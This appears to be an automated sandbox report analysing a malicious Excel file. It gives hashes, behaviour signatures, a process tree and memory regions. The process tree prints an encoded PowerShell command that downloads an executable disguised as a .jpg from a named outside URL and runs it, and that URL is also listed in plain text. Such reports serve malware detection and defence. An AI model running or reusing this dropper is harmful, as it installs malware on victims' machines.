Analysis

  • max time kernel
    33s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 07:50

General

  • Target

    3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls

  • Size

    92KB

  • MD5

    7261eb1a46516d618aa41406e782da1e

  • SHA1

    9d979ddb6a4a1b607661d5570df2826b3a3c662f

  • SHA256

    3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9

  • SHA512

    4e52052ea1f5d71d1377c71346e36b9d4352a4e0a0a462d932a6defb88e4a929eb5a224486f8148a212270a95b6e48774397db9fa39551b571ea571012966afe

  • SSDEEP

    1536:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://i.cubeupload.com/1MDiPJ.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SYSTEM32\cmd.exe
      cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3280

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxp2iy2r.xol.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2776-17-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-62-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-14-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-0-0x00007FFBB5230000-0x00007FFBB5240000-memory.dmp

    Filesize

    64KB

  • memory/2776-6-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-8-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-7-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-5-0x00007FFBF524D000-0x00007FFBF524E000-memory.dmp

    Filesize

    4KB

  • memory/2776-10-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-9-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-13-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-12-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-15-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-16-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-1-0x00007FFBB5230000-0x00007FFBB5240000-memory.dmp

    Filesize

    64KB

  • memory/2776-20-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-2-0x00007FFBB5230000-0x00007FFBB5240000-memory.dmp

    Filesize

    64KB

  • memory/2776-21-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-22-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-19-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-18-0x00007FFBB2FD0000-0x00007FFBB2FE0000-memory.dmp

    Filesize

    64KB

  • memory/2776-11-0x00007FFBB2FD0000-0x00007FFBB2FE0000-memory.dmp

    Filesize

    64KB

  • memory/2776-36-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-37-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-38-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-4-0x00007FFBB5230000-0x00007FFBB5240000-memory.dmp

    Filesize

    64KB

  • memory/2776-3-0x00007FFBB5230000-0x00007FFBB5240000-memory.dmp

    Filesize

    64KB

  • memory/2776-61-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-55-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-49-0x00000217E6AE0000-0x00000217E6B02000-memory.dmp

    Filesize

    136KB

  • memory/3280-39-0x00007FFBF51B0000-0x00007FFBF53A5000-memory.dmp

    Filesize

    2.0MB